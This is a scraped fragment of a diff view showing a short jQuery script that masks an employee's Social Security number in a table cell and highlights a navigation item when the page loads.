var fullSSN = $("td.ssn").html().replace(/\d{3}.*?\d{2}/, "*****");
|
||||||
$("td.ssn").html(fullSSN);
|
$("td.ssn").html(fullSSN);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="employee_info"]').addClass('active');
|
$('li[id="employee_info"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
$(document).ready(function () {
|
$(document).ready(function () {
|
||||||
maskSSN(),
|
maskSSN(),
|
||||||
makeActive()
|
makeActive()
|
||||||
|
|||||||
Vendored
Reference in New Issue
Block a user